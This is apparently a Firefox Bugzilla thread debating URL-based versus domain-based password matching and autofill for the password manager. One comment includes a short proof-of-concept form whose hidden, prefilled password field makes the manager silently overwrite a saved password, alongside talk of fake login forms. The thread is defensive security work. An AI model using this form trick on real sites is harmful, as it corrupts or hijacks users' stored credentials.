Please read those points and reread them as needed until they sink in.

Folks - we are talking about PASSWORDS here - keys to sites on which the information protected varies from personal comments to financial information.

Why are we continuing to debate this?

The only way to correctly resolve this problem is to make the passwords URL specific.

No other solution will resolve the root problem.

Firefox must be changed so that it will only fill in the password (or any other information) on the page for which the password was saved.

If the URL (less, as I and others have said, the "arguments") is not the same, the Firefox should take absolutely no action.

If we were to take a survey out in the real world and asked people: 

"Do you think your browser should fill in your password on pages other than the one for which you had the browser save the password?" - the majority of people would say no. Passwords are important things to people and they don't want them given out lightly.

Even if you explained that a web site with more than one sign in page would require the person to enter their password on each sign in page, they would still say that the password should only be filled in for the page where they saved it because you would also tell them that once they entered their password on each sign in page, the  browser would take care of it in the future.

Come on people -

We are talking about a design flaw here. Not an oversight in the way the Password Manager was designed or coded.

The design flaw is that the design specifically allows Firefox to fill in passwords, and other information, for any page on a domain, not a specific page.

I will tell you, and I hope you believe it because it is true, I would have fought against such a design had I been involved in the design of the Password Manager.

Why? Because it violates basic principles of security.

Let's look at another product with the same sort of design problems - design features which did not follow basic security procedures.

Let's take Microsoft Windows, beginning with Windows 95.

One example - In an effort to make computers easier to use (less inconvenient?), Microsoft choose to design Windows 95 such that if you double click (or single click - if you set the appropriate option) on a file, Windows will attempt to start the correct program to "open" the file.

If it is a program, it will be executed. If it is Word for Windows document, Word for Windows will be started. If it is an JPEG image, the registered image program will be started.

How were the first email viruses spread - and how are most of them still spread? 

By attaching an executable file which the virus author wants the recipient to "open." The definition of "executable" goes beyond files of the exe, com, bat, etc. type and include files such as the aforementioned mentioned Word for Windows documents or any files whose "opening program" contains macro facilities, scripting facilities, etc. which can be exploited to do something to the recipient's system.

The scum who try to spread computer viruses would attach a file which might be named something like "This picture will make you laugh.jpg.exe" (some even just left off the jpg hoping that the recipient would not know what an exe was)

And guess what - these scum bags were aided by Microsoft with the "Hide file extensions of known file types" option.

I installed an XP system a couple of days ago and checked this option - it is still the default. Has Microsoft learned nothing?

With this option as the default, the file name given above would appear as "This picture will make you laugh.jpg" and most users (the vast majority of users) would think the file was a jpg file.

Only by turning off the "Hide file extensions of known file types" option would they see the sinister exe at the end of the file name and then it would only benefit those you understood the significance.

Okay, we've told people, we have hammered it into to their heads, that they should not open unknown files -- guess what, viruses still spread this same way.

Internet Explorer had security problems when it could not determine the type of file being opened, from the extension, and it would (still will?) make every effort to figure it out, by looking at the beginning of the file, and then open the file - and burn the user when it is an executable file.

Netscape, sensibly, left the file alone if it didn't know what to do and asked the user what to do.

I will repeat the two security principles I stated in one of my first comments, days ago.

1 - You can design programs so that the bad things are not allowed.

or

2 - You can design programs so that only good things are allowed.

If you follow principle #1, you will be burned when a new "bad thing" is invented and you don't learn about it in time to add it to your list of things which are prohibited.

If you follow principle #2, the only "burn" you will suffer is that a new "good think" will not be allowed until you add it to the list of things that are allowed.

PRINCIPLE #2 SHOULD ALWAYS BE USED - there is no way you can stay ahead of new "bad things"

Better to prohibit some new "good thing" than to allow a new "bad thing"

Now, following this principle will not guarantee total security, but it will certainly greatly reduce the number of security problems.

I don't know any other way to say this - the solution to this bug is to only fill in the password for the exact page for which it was saved.

As others have said, save the URL with the password and use it to insure that you only put the password on the same page as for which it was saved.

Someone else pointed out that Netscape 8 provides a visible indicator that information on the page has been automatically filled in.

I will add that to my description of the only sensible, rational, defensible solution to bug 360493 --

Save the URL (without any search arguments) with the password. Use it to check the URL before filling in a page and only fill in the page if the URL exactly matches the saved URL.

And --- whenever information is filled in on a page - passwords or form information - pop up a message box saying, "Fields on this page have been filled in by Firefox with information which Firefox previously saved. You should check all fields on the page to insure that you really want to submit the information to this web site."

Oh, I forgot, this will "inconvenience" the user. Right! They will have to click an OK button - not much of an inconvenience to be able to gain more control over information.

Err on the side of safety, not convenience. Doing otherwise will demonstrate a lack of true concern for the security of people who use Firefox.

The path this bug is following clearly demonstrates one of the deficiency of open source projects - the lack of a "mommy" who can say - "Enough, this is how we will proceed."

The reason there are those is authority is that there is a need for the authority to settle debates, to close off discussion and take action. Hopefully those in authority are also more experienced and knowledgeable.

I think this deficiency will always hamper open source projects and I also don't know how to remedy the problem.

As to this bug, remedy is - if the URL doesn't match, don't fill in any information.

Bob Novell

If I'd thought about this, I would have assumed passwords were stored per URL, and
I'd vote for that, rather than requiring the domain of the action match.

I note that the password stored for the Unix user account (still used many places) http://example.com/~fred/some.html will be presented for
http://example.com/~bill/other.html, even though these pages belong to different people (yes, I realize this historical practice is wide-open to cross-site scripting). For "basic auth" I note that both AuthName and
username must match, which lessens the chance of accidental duplication, though doesn't help prevent deliberate phishing.

For some academic and community websites, it's a bit of a stretch to assume that
there is only one password field on the entire server
(In reply to comment #156)
> Come on people -
> We are talking about a design flaw here. Not an oversight in the way the
> Password Manager was designed or coded.

as a user, i wouldn't say that. first off, as has been mentioned, sites that use various login schemes will require you to have multiple entries. now i know this isn't exactly how the password manager works, but i'm illustrating a point here:
i use camino, which saves my passwords in the mac os x keychain. i don't know about you, but there have been numerous times when i've used the keychain to look up a password. having 10 password entries for the same site is obnoxious. if i'mlooking for a password, i look for the domain. i find it, and i look at the password. i don't want to have to go through 10 items and figure out which one of them is correct.

also, if one entry becomes changed, all the others don't. talk about keeping it simple. how exactly am i supposed to know if the password that's filled in right now is actually the correct one? let's say i have a login on some website. this website has created, in the process of following your scheme, 10 different password items, all with the same password "secret". i change my password to "s3cret" and login on one of the pages, say http://example.com/loginpage.html . now i have 9 "secret" items and 1 new "s3cret" item. note that the "secret" items are now all wrong and completely useless. now i go on a different page, say http://example.com/mycontent.html . unless i remember that this page still has the old "secret" password stored, i have absolutely no way of knowing whether the password that gets filled in is correct or not. therefore, i enter my new password anyway. so...why did i save the password in the first place? i might as well just enter them every time anyway.
(In reply to comment #157)

> For some academic and community websites, it's a bit of a stretch to assume that
> there is only one password field on the entire server

i don't see how this is an issue here. firefox is capable of storing multiple username/password combinations for each server.

(In reply to comment #135)
> If anyone knows of a situation where paths can't be trusted with each others'
> credentials without breaking the Same Origin Rule, then that would be an
> important contribution to this thread.

Bob, this one's for you.  It's hypothetical.

Admin of domain.com/ShopName, instead of salting u/p fields on each page adds a hidden "ShopName" input.  In this situation, the shop owners may gain privileges to user's personal information based on which page was used to log in.

Shop owners are able to passively steal sessions under the page domain & action domain security scheme.

The shop scripts are administered by one person, so the Same Origin Rule is not broken.
For those of you that insist on URL matching:
My bank embeds session ID in the https URL of the login page.  It is almost never the same.

My suggestion is as follows -
Store the original URL.
A different page in the same domain results in a popup asking if they want the u/p filled in.  The popup has a checkbox allowing the current URL to become the canonical one for this domain.

On submit or on XMLHTTPRequest send, if a form contains a password input and the domain doesn't match, create a warning popup.  Perhaps the popup could have a non-standard, non-repeating dismiss action that forces the user to pay attention.

There has been talk that people ignore popups.  It hasn't stopped IE from introducing a warning bar that doesn't go away.

The browser can't stop people from acting foolishly, it can only advise against it.
(In reply to comment #156)
> The only way to resolve this problem is to ONLY FILL IN THE PASSWORD FOR THE
> PAGE ON WHICH THE PASSWORD WAS SAVED - PERIOD!

I had the same opinion originally.  Since I voiced my opinion I got educated.  That said, a large part of me still thinks we should make URL matching a VERY large part of the logic but it is not that simple anymore.

The first problem is URL rewriting.  This means that you could have multiple URLs for the same page.

The second problem is that some websites and portals seem to run the entire site from a single URL.  The only thing that changes is the query string options.

Given those two problems I would still be very tempted to push for URL matching.

I know that this will potentially result in multiple password entries for a single domain but like I indicated previously, it is not the responsibility of FireFox to implement site wide single-sign-on for webmasters that have purposely chosen to avoid doing that.  If you don't like that then you should complain to that webmaster.

As an added convenience the Password Manager could be made smarter so it recognizes when there are multiple passwords for a single domain that are the same and then give the user the option to keep those all in sync.  That would be my preferred method of dealing with that problem.

As another convenience the Password Manager could recognize that this is the second (or tenth) password form for this site and visibly "OFFER" to fill in the remainder of the user name and password once the user has started typing.

To me attempting to sanitize the information is only begging for more trouble later.  There are all kinds of fungus growing inside some peoples heads and we can't be expected to deal with them all.

Anthony
Thinking about the various comments, I generally agree with Bob's comments about security, and associating the userid and password with the url rather than just the domain.
Many associated sites with the same userid and password have pages in different domains, so the password manager would already save the same userid and password more than once.  (My password manager has several identical entries for a number of associated sites.)
Maybe instead of the full url, the domain name and the path up to the last slash could be used.  It seems to me that including additional elements such as the protocol and port wouldn't enhance the security; only potentially adding more entries to the password file.  The last slash would be a convenient truncation point (to eliminate extraneous elements at the end).
Many if not most complex sites seem to use a special login page (at a specific location), so there shouldn't be many more entries in the password manager file.
It is also highly unlikely that different sub-sites (like at myspace) would be have logons at the same truncated url.  (The path should differ.)
Remember also that in the case of multiple userid/password entries, these would be only entered once by the user.  After initial entry, there would be no difference in the logon experience for the user.  (Except perhaps fewer queries for multiple userid/password entries, due to using the url (with the path) instead of just the domain.)

In summary, using the url (domain + path) instead of just the domain would be :
1) Much more secure, and seems to solve this bug.
2) Little inconvenience to the user, beyond the initial extra entry of the userid/password for some sites.
3) Relatively simple to implement.

my 2 cents :)
I've heard a lot of discussion re: changing how much of the URL fx uses to match for filling in u/p, and I support that, but I haven't heard as much about whether or not fx should continue to auto-fill u/p fields before the user begins to type. 

It seems to me that part of the original problem -- hidden fields -- would be alleviated if fx did NOT auto-fill fields except if the user begins to type in it -- just like it does when there are multiple u/p saved for a site. This would prevent hidden fields from being filled unknowingly. 

I also think how fx handles the link between username and password fields should be considered, especially where there is more than one password field on a page (regardless of visibility -- I don't think visibility of a field should be a consideration of the password manager.

I do strongly support the ability of FF to link identical u/p for a domain for synchronization. To me, this is very important for users. 
this allows users to disable autofill for password manager, but still allows them to invoke the multi-user style autocomplete to get their password entered for them

defaults to current behaviour for now
Attachment #247108 - Flags: review?(gavin.sharp)
(In reply to comment #165)
> Created an attachment (id=247108) [edit]
> step 1: allow disabling autofill via a hidden pref

if (!oldUserValue.IsEmpty() && prefillForm) {
//creates a fun injection feature when prefillForm == FALSE
}

<form>
 <input type="text" name="username">
 <input type="password" name="password" value="This is your new password :)" style="display: none;">
 <input type="submit">
</form>

nsPasswordManager.cpp @ 933 silently saves the new password without confirmation.
typo > 993 not 933
Sure, in theory that's possible.  Of course, to achieve that, you need to be able to prefill the correct username, which means you either are generating dynamic content or you've injected script into the page somehow, or have a very lucky guess or a very personalized attack with some social engineering in place.

A minor pain in the ass, perhaps, if someone can pull it off as above.  The site author can always script with JS to pull that off as you leave the password field, and as long as the length is the same you'd never notice.  All it really does is break pwdmgr a little, in the end, so I'm not that concerned with the basically theoretical attack vector.
(In reply to comment #168)
> Sure, in theory that's possible.  Of course, to achieve that, you need to be
> able to prefill the correct username

Not at all.  Firefox already has facilities to create fake login forms.  With this prefillForm flag turned off, a blank username field will look completely natural to the user, who will then proceed to fill it in for me :)
I'm back again - this is not a reply to any particular comment but my comments after having read all the new comments since yesterday.

Let's be sure everyone is on the same page as to what a URL really is.

Here's the basic syntax:

resource_type://hostname.domain:port/filepathname

Following "filepathname" could be an anchor - #xxxxx
or a search value ?xxxxxx or form data &xxxxx

When I say that the URL should be saved with the password, I mean only hostname.domain:port/filepathname

filepathname can be just a path, in which case the server program will look for a standard page such as home.html or index.html etc., or a path and a filename.

If that part of the URL (hostname:domain:port/filepathname) does not match the current page, Firefox should not fill in the password.

In reply https://bugzilla.mozilla.org/show_bug.cgi?id=360493#c161 Chris said that his bank adds a session id to the URL and that URL matching would cause problems.

Chris - isn't the session id actually part of the "search" or such? It is not part of hostname:domain:port/filepathname portion of the URL, is it?

My proposal would not save that portion of the URL which might include a session id, that is, it would not save the search, form, or anchor information.

Looking at some of the other new comments:

We are not trying to define a security procedure for the entire Internet, we are trying to define how Firefox will handle the filling in of passwords - nothing else.

If, as in an example posted to my attention, a webmaster creates an insecure site, that is their problem. Sure, if we see such a problem one can make a good argument that we might be ethically bound to try and report the problem to the webmaster, but we are there to deal with anything other than security the password manager feature of Firefox.

Firefox is a browser - not a security manager for the Internet

Here is something which has been mentioned several times, but I don't think everyone has picked up on it ---

Many web sites are created on ISP servers - almost all ISPs provide their customers with web site space.

I use ATT so a site there would be home.att.net/~name

where name is the ATT email name. I happen to have a site which is at http://home.att.net/~sugarcat_simon and one which is at http://home.att.net/~sugarcat-transport/

These are two totally different sites, the fact that they belong to me is not important - there are two different sites on the same domain.

The domains of these URLs are the same but I'll be damned if I would want to a browser to fill in a password from one site on the domain into a form from another site on the domain.

Just because a page is on a domain does not mean it belongs to the same "site"

Those who reject URL checking, not just domain checking, with the argument that some web sites have multiple sign in pages are missing some important points-

1) The majority of sites have only one sign in page

2) The vast majority of users don't understand the niceties we are discussing here - the bits about forms fields, actions, cross scripting, etc - and only want to be safe and secure when they use the Internet. If their browser helps by remembering passwords, that is great, but they expect the usage of those passwords to be as secure as possible.

I have been trying to think of sites that I use which have multiple sign in pages and I can't come up with more than 3.

I maintain an encrypted copy of all my user ids and passwords outside of any browser's password manager (because I use multiple systems and need to have a means of transporting this information from system to system) - I've got something over 150 of them to-date - and I browsed through them looking for sites where I could remember encountering more than one sign in page. As I said, I only found 3.

Some of the comments entered in the past few days have caused me to become even more strict in my thoughts of how Firefox should handle passwords -

I now think that Firefox should never AUTOMATICALLY fill in any field on any page.

If Firefox has password information (or form information) for a page, a message should be displayed which says "Firefox can fill some of the fields on this page for you. Press OK to have Firefox fill in the fields, press Cancel to not have Firefox fill in the fields."

I still strongly support URL matching, not domain matching, but now I'm also against any automatic filling in of any fields.

Before someone yells "INCONVENIENCE" stop and think - just how often do you sign in to a site, how often does Firefox fill in fields for you?

I want a browser which will remember passwords for me but that browser should not fill in fields without asking me and that browser should only fill in fields on pages whose URLs match the URL saved with the password.

We are talking about a serious issue here - Internet Security

With all the security problems which have plagued the Internet, those which continue to plague the Internet, and the new, unknown ones which will plague the Internet in the future, we have to narrow our view to the issue here and resolve it in the most secure method.

When email was invented, no one envisioned viruses which would spread via email. When online commerce was invented, no one envisioned phishing attacks.

When xxxxx is invented, no one will envision yyyyyy.

We cannot come up with every new attack which will be made on users of the Internet but we can resolve this bug so as to leave as few holes as possible through which an attacker can get at a user.

The most secure way to do that is to only provide passwords when the URL of the page matches the URL of the page for which the password was saved.

Matching the domain and then trying to somehow vet the page will, if history is any guide, and it usually is - only give some bright scum bag a foothold to make another attack.

We all shake our heads and wonder "how could they be so stupid" when we hear of someone getting burned by a phishing attack or following one of the "Get a free laptop" links -- yes, there are stupid people out there but there are also people who appear stupid to us simply because they don't understand the Internet as well as we might want them to.

There was recently a story on the local news here about a guy who fell for a phishing attack. He said the only reason he followed the link in the email and filled in the form was that he had just, a day or two before, been talking to his bank about some issue and he thought the email he received was about that issue.

Okay, I agree he was stupid to make such an assumption and we are right to wonder why people haven't yet gotten the word about phishing, but this guy seems relatively intelligent but he still got burned by a phishing attack. He figured there was a problem when he learned his account had been drained - by ATM transactions from eastern Europe.

Firefox must not do anything that can provide any of the Internet scum bags the slightest assistance in screwing people.

Make the Password Manager as secure as possible - as secure as it can be made given what we know today.

1) Match the URL - that is the hostname.domain:port/filepathname portion of the URL, not the domain

2) Never auto fill in any fields, always ask the user first.

I'll tell you something which may make you think I'm more crazy than some of you already think :-)

I went into the Firefox configuration and made changes to the warning settings so that anytime I am about to submit anything to an insecure page (an non SSL page) or when I am going to a secure page from an insecure page or I am leaving a secure page I get a warning message.

Why - because it gives me more control of what my browser does.

I use the Internet a lot - but do I consider it an inconvenience to have to click a Continue  button or press enter, on a pop up message when I, for example, click the Search button on Google? No I don't

I consider it helpful to know that I'm submitting information to an insecure page, it not only gives me a double check on the SSL status of a page, but also lets me cancel a submission that might be incomplete - I could accidentally hit enter or click the wrong button on a page and having this warning gives me a chance to say "Opps - no, I don't want to do that"

It is not an inconvenience to be fully aware of the security status of a page on which I'm working - it is a benefit.

So, when I click the Commit button on this page, I'll get a pop up warning and I'll have to click Continue or press enter --  and I'll think nothing of it because I want that extra control.

I make the same settings on the systems my wife uses and I explained what I was doing and she has no problem seeing the warnings messages being displayed.

In fact, she has told me that she has had occasions where she's canceled a submission because, right after she "submitted" a page, she saw an error in the information. The warning message gave her a chance to cancel the "submit" and fix the information.

My point is that what some view as an inconvenience, having to perhaps enter a password more than once when there are multiple sign on pages, is so little an inconvenience that we should not be hung up on it, given the orders of magnitude of stronger security URL checking provides instead of domain checking.

The only argument I've seen against URL checking is the convenience/inconvenience argument.

There have been, however, many good points raised in favor of URL checking.

I urge everyone to step back and look at the issue as one of security alone, not one of convenience.

Security should take absolute priority here.

Security is one of the main arguments being used to try and get people to switch to Firefox.

If we don't make the Password Manager as secure as it can be given the current knowledge of the types of attacks being launched and the current theories of future attacks, we are doing a disservice not only to the users but also to the original dream of Firefox - to provide a safe and secure browser to replace the insecure browsers most people are using.

Yes, easy of use and new features where also part of the Firefox dream, but security has got to come first.

Check URLs, not domains.

Bob Novell
(In reply to comment #155)
> (In reply to comment #150)
> > <snip> The password manager should remember what domain
> > the password form refer back to the first time the password was filled in and
> > was saved. It shouldn't fill in the password when any of the 2 domains differ.

> This is essentially what we're going to do. <snip>  Patch tonight
> or tomorrow.
 

Hello Mike, if you are going to limit the password manager to Domain Checking how is that going to stop someone from abusing the password manager when there are multiple sites hosted on the same domain.  

The site that started the whole problem allows multiple "mini" sites on the same domain.  Yahoo and many other providers will offer space, often free and they all use the same domain name.

http://geocities.yahoo.com/ps/learn2/HowItWorks4_Free.html

Just asking..

Anthony
(In reply to comment #171)
> The site that started the whole problem allows multiple "mini" sites on the
> same domain.  Yahoo and many other providers will offer space, often free and
> they all use the same domain name.
> 
> http://geocities.yahoo.com/ps/learn2/HowItWorks4_Free.html

The login facility for this website is not located on the geocities.yahoo.com domain.  It is designed that way for many reasons, least of which is the Same Origin Rule.  So, domain checking should work just fine there.

We have not seen a working example of a website where pages on the same domain have conflicting login facilities.  I gave my best guess as to how one could have been made in Comment #160, but as Bob pointed out, the internal security was questionable at best.
Hi Bob,


(In reply to comment #170)
> In reply comment 161 Chris said
> that his bank adds a session id to the URL and that URL matching would cause
> problems.

most site use cookies to track the session.
If cookies are disabled you can track session using url
which server with do without programmer knowledge

That is something like
going to https://mybank.com/
redirect you to https://mybank.com/session433636416282/home.php
from there you can go to
https://mybank.com/session433636416282/savings/login.php
https://mybank.com/session433636416282/savings/acct/dtl.php
https://mybank.com/session433636416282/savings/statment/jan.php
https://mybank.com/session433636416282/savings/statment/feb.php
https://mybank.com/session433636416282/loan/statment.php
https://mybank.com/session433636416282/checkin/statment.php

Another reason why url should not be used in saving password

http://en.wikipedia.org/w/index.php?title=Special:Userlogin&returnto=United_States
http://en.wikipedia.org/wiki/London
http://en.wikipedia.org/wiki/United_States
You may have seen above wikipedia pages. 
They look like different page but actually they are same
http://en.wikipedia.org/w/index.php
or login page can be also without index.php
http://en.wikipedia.org/wiki/Special:Userlogin?returnto=United_States
or can make
http://en.wikipedia.org/wiki/Hindu_iconography as
http://en.wikipedia.org/w/index.php?title=Hindu_iconography
smilarlly do
http://en.wikipedia.org/w/index.php?title=London
http://en.wikipedia.org/w/index.php?title=United_States

this is some thing called PrettyURL format using apache mod_rewrite

you can make more pretty by

http://en.wikipedia.org/Hindu_iconography
http://en.wikipedia.org/login/London
http://en.wikipedia.org/login/edit/Christianity
http://en.wikipedia.org/login/move/United_States
http://en.wikipedia.org/login/delete/Europe


So now URL of login page is not the same each time.
but internally they all are same at server, 
ie /w/index.php
but browser can never know this, 
post urls are also different, which is used by sever 
to switch the user back to where he came from

> where name is the ATT email name. I happen to have a site which is at
> http://home.att.net/~sugarcat_simon and one which is at
> http://home.att.net/~sugarcat-transport/

A web developer should always remember current web security model 
http://www.mozilla.org/projects/security/components/same-origin.html
give full access on http://home.att.net/~sugarcat_simon/
by javascript at http://home.att.net/~sugarcat-transport/

so use of forms at http://home.att.net/~user_1 is also 
not good if user_1 cant trust http://home.att.net/~user_x 

you can read Comment #152 

So webmaster/ developer should be fully aware of what he/she is putting out there.
(In reply to comment #173)
> If cookies are disabled you can track session using url
> which server with do without programmer knowledge
<snip>
> So webmaster/ developer should be fully aware of what he/she is putting out
> there.

Every time I am about to give and say that FireFox can't us the URL to lock down password forms, I come up with another problematic example.

The problematic example is sub domains.  Even if you have assigned another domain name to a subdomain e.g. (www.hostdomain.com\user1 = www.user1.com) then you can still get at the subdomain using the original host domain based path.  I don't expect that the hosting domain is going to lock down the ability to use passwords on sub domains.  Therefore a hosted domain could potentially be used to attempt to compromise the host.

Just a thought...

Anthony
I don't know what we can do about wiki sites that use mod_rewrite, but I host several wiki sites with jspwiki where not saving passwords with URL does cause a problem. 

http://www.example.com:8080/ is the management portal
http://www.example.com:8080/site1/ is one site
http://www.example.com:8080/site2/ is another site

The login page is always the same, unlike other wikis:
http://www.example.com:8080/siteX/Login.jsp?targetpage

Until now I had not connected the behavior of Fx to the fact that it does not save the full URL; it offers to fill passwords for all three sites. I never did think this was right, and I especially don't think so now. 

My vote is 

1. Disable auto-fill for both passwords and forms -- either offer to fill-in with a UI enhancement, or only offer once the user begins to fill in matching information.

2. Store the URL for each password saved. For wiki and other sites with mod_rewrite and related problems, there is always (?) a standard login page without the redirect, and that is what Fx should save the u/p for. 
(In reply to comment #169)
> (In reply to comment #168)
> > Sure, in theory that's possible.  Of course, to achieve that, you need to be
> > able to prefill the correct username
> 
> Not at all.  Firefox already has facilities to create fake login forms.  With
> this prefillForm flag turned off, a blank username field will look completely
> natural to the user, who will then proceed to fill it in for me :)

If the user fills in the matching username, we'll overwrite the password field's value, whether its hidden or not.  Feel free to create a testcase if you think I'm not getting it.

(In reply to comment #176)
> If the user fills in the matching username, we'll overwrite the password
> field's value, whether its hidden or not.

Ah, so the pre-filled username situations would be the only concern.

Everyone seems to have a list of pros and cons going for the URL vs domain checking now.  It seems like the only way to make everyone happy will be adding more options to the "remember password?" dialog.  How about two radio options that say, "Apply to this page only" and "Apply to all of www.domain.com", with one chosen by default.
(In reply to comment #177)
> Everyone seems to have a list of pros and cons going for the URL vs domain
> checking now.  It seems like the only way to make everyone happy will be adding
> more options to the "remember password?" dialog.  How about two radio options
> that say, "Apply to this page only" and "Apply to all of www.domain.com", with
> one chosen by default.

I initially did not like this idea, but the more I think about it the more I like it: Especially because it helps educate and/or make the user aware of the issues and tradeoffs. Given, many will not know what to choose, so it will have to be implemented with care. I would advocate using the most restrictive by default (this page only). 
(In reply to comment #178)
> I initially did not like this idea, but the more I think about it the more I
> like it: Especially because it helps educate and/or make the user aware of the
> issues and tradeoffs. Given, many will not know what to choose, so it will have
> to be implemented with care. I would advocate using the most restrictive by
> default (this page only). 

I agree.

Anthony

I think one of the hangups as regards multiple sign in pages is that we are not looking at the Password Manager feature as it should be viewed.

The Password Manager is a feature which adds a convenience to the browser. It should not be viewed as something which has to work with every site on the Internet regardless of how the security is set up for that site.

I do not understand the continued insistence that Firefox be able to handle every conceivable type of sign in set up on the Internet.

Why can't we lock it down using URL checking and then document it as:

"The Firefox Password Manager provides a way for your passwords and user ids to be saved for sites you frequently use. Firefox can then fill in the sign on pages for you. However, due to the tremendous variety of web sites and the way they handle their sign in functions, Firefox cannot handle every web site on the Internet. There will be some site which have several different sign in pages or create such pages "on the fly" so that Firefox cannot handle them correctly. There might be ways in which Firefox could handle more of these non-standard sign in pages but doing so would reduce the security of the saved passwords. The primary consideration when dealing with passwords is security. It may be inconvenient to use some sites do to their unusual or multiple sign in pages, but Firefox strives to provide the best security for your passwords by using strict rules for when a password is to be provided."

I still have not seen an argument for doing domain checking which is sufficient to override the security which would be provided by URL checking.

And - others have said this before, I don't think Firefox should ever automatically fill in fields. Either ask the user if they want the fields filled in or -and this is a weaker alternative - wait until they start typing in the fields.

I have found another bug with the password manager - if the Firefox window is not topmost window or if the tab containing the sign on page is not the current tab when the sign on page is loaded, the password manager does not fill in fields. I have not checked to see if this bug is reported, and I'll do so later, but I've found an interesting behavior of the password manager when this bug occurs.

Say you start a sign in page loading in a tab and then switch to a different tab or pull up another window while the page loads.

When you go back to the page, you'll see that the password field has not been field in. On one page I use frequently - ATT email page where I check for Spam that got through the filters before I download my messages, there's an option to have your user id saved (via a cookie) - I have this set.

So, the page, when I got back to it, shows my name in the name field but the password is blank.

If I put the cursor to the right of the name in the name field and press enter, Firefox fills in the password and submits the page - both things happen when I press enter.

The first time this happened I was rather startled.

I don't know the code involved, but I'd hazard a guess that what is happening is that Firefox sees "typing" in the name field (the press of the enter key) and looks to see if it has a matching password for the name. It finds one and fills in the password field. The form is submitted because I pressed enter.

I'll report the bug about focus of the tab, but I think the bit about how I can press enter in the name field and not only get the password filled in but submit the form is too much "convenience" - I don't like it at all.

I am beginning to think that the entire design of the Password Manager needs to be revisited and evaluated in light of all the discussion here and other bugs reported for the password manager.

Let's remember the title of this bug "Cross-Site Forms + Password Manager = Security Failure"

The key words there are "SECURITY FAILURE"

As I have said many times, put in the toughest security possible. Yes, it may actually cause users to have to type in passwords on some sites but that is already necessary even with Firefox 2.0.

I refer to the Yahoo sign in. I have some Yahoo email accounts and when I go to  use them, Firefox does not fill in the password and user name - I've not looked to see why and, frankly it's not important - the important thing is that I have to type in the user id and password myself and I don't view that as a sin on the part of Firefox. I simply accept it as a site that Firefox's Password Manager can't handle. That page, by the way, is https://login.yahoo.com/config/mail?.intl=us

This may have been reported as a bug and if it is a bug it should be fixed? HOWEVER, if it is an example of an exception, that is, it is a site which is "broken" - don't try to handle it.

That starts down the path to attempts to handle every different sign in page which might be found and reported by someone.

Unless the page is not handled properly because of an actual coding error - don't change Firefox to handle it.

If you want to produce a perfect Password Manager that can handle every possible situation and still be secure - forget it. It is not possible.

We don't want to create code in the Password Manager that becomes so tangled and twisted with extra checks in attempt to handle each and every exception that turns up that it becomes overly complicated and harder to manage and predict its behavior.

KISS!

If you ask the user if they wish to save a password for the PAGE, you should then only use that password for the same PAGE.

If that means that the user will actually have to type in user ids and passwords at times, wow! How much trouble is that? Until the first password manager was added to a browser, everyone had to type in passwords.

KISS!

How much code is involved in checking the URL? Very little.

How much code is involved in checking the domain of the page, the domain of the action on the form, etc. - lots and lots.

As I think one person pointed out, there may be no action on the form and the page may use Javascript to submit the form after some event - mousedown, etc.

Are we actually talking about going into Javascript code to see if we can find the correct bit of code which submits the form?

KISS!

If the URL is not that of the page for which the password was saved, don't do anything.

AND - don't auto fill fields, either ask the user or wait until they start typing (though that is not my first choice - prompting the user is my first choice.)

Seriously, I don't see what all the discussion is about.

Do we want a secure Password Manager? Yes!

Do we want to be able to tell people the Password Manager is secure and feel confident that it is, regardless of new features or methods which appear in the future? Yes!

Should we protect a person's password as much as possible? Yes!

So we "break" a few sites - those sites might very well be breaking some sound security principles in the first place.

Every important site that I use has only one sign in page and takes me there to sign if I try to reference a part of the site and then, after I sign in, takes me on to the portion I wanted.

I want the Password Manager because it is convenient - I don't want it if it has any questionable features in it and domain checking is, as demonstrated by the growing group of people who are against it, is a questionable feature.

I gave this fictitious quote in an earlier comment, let me repeat the essences here:

"I'm sorry sir, your account was emptied from ATMs located in eastern Europe. From what you have told us, it appears your browser, Firefox, filled in your user id and password on a fake sign in page and that is how they got all your personal information."

Does anyone want to be associated with a program (Firefox) for which something like that could be said? I hope that answer is a resounding NO.

Check URLS not domains.

Bob Novell
(In reply to comment #180)
> I refer to the Yahoo sign in. I have some Yahoo email accounts and when I go to
>  use them, Firefox does not fill in the password and user name - I've not
> looked to see why and, frankly it's not important - the important thing is that
> I have to type in the user id and password myself and I don't view that as a
> sin on the part of Firefox. I simply accept it as a site that Firefox's
> Password Manager can't handle. That page, by the way, is
> https://login.yahoo.com/config/mail?.intl=us

if you have multiple logins, Firefox waits for you to start typing as a way of figuring out which password you want filled in. press the down arrow (on your keyboard) or double-click in the username field and you'll get a list of all the usernames stored for that page.
at this point, i think that the real solution to this is very simple – ask the user if they want the password filled in (how exactly doesn't really matter, could be a dialog box, an information bar pop-up [like for pop-up windows], or a separate toolbar "wand" button that lights up when there's a login form that can be filled). ALSO, give a pref option (possibly a hidden one, so that "Average Joe" doesn't know how to set it) that will turn on AUTOfill as it works now. for those that want to risk it and actually know what the hell they are doing, let them do their thing. also, as was mentioned earlier, provide some sort of visual indication that the autofill has in fact occurred.
Despite some of the assertions being made here, URL-based formfill is marginally better at best, and is by no means secure against XSS-based attacks, which is the real concern, IMO.  If I can execute javascript on a domain, I can steal your password even with URL-based formfill, and anyone asserting otherwise doesn't understand web security models.

Saving sensitive passwords is not the best idea in general, which is why many banks use autocomplete="off" to suppress password managers (at least in IE and Firefox).  That's also what Yahoo does, FWIW.  The ideal solution is to improve the experience around login/logout without requiring in-page interactions, but that's going to be an improvement that needs site cooperation.
I have went ahead and had your patch commited for gentoo users. Only difference is we are shipping with default of false instead of true. Security should be main concern and should be modified IMHO before a commit to CVS happens.
Attachment #247108 - Flags: review?(gavin.sharp) → review+
(In reply to comment #182)
> Saving sensitive passwords is not the best idea in general, which is why many
> banks use autocomplete="off" to suppress password managers (at least in IE and
> Firefox).  That's also what Yahoo does, FWIW.  The ideal solution is to improve

Mike, IFAIK autocomplete="off" wont suppress all the time.

example 
a site had login form at http://mysite.com/login.html without autocomplete="off" 
User_A saved his password when prompted.
set it went for days.
one day developer at mysite.com learned about autocomplete attr.
he modified login form to autocomplete="off"
but User_A will still get password autofill
only good thing is future User_X wont be prompted to save password
(In reply to comment #184)
> Mike, IFAIK autocomplete="off" wont suppress all the time.
> 
kind of. for sites that have only one uname/pwd combination stored, fx completely ignores the autocomplete parameter. if you have multiple combinations stored, then the password field is filled in only after you enter the complete username. while you're typing the username, fx won't provide you a drop-down with the complete username (so, autocomplete is really only off for the username field in this case).
as a side note, this also means that the instructions i provided in comment 181 will not work unless you first run a bookmarklet that sets autocomplete to true.
FYI, this is the real WIP patch, but it will fail badly on existing profiles, and will result in dataloss if you save a password on an existing profile.
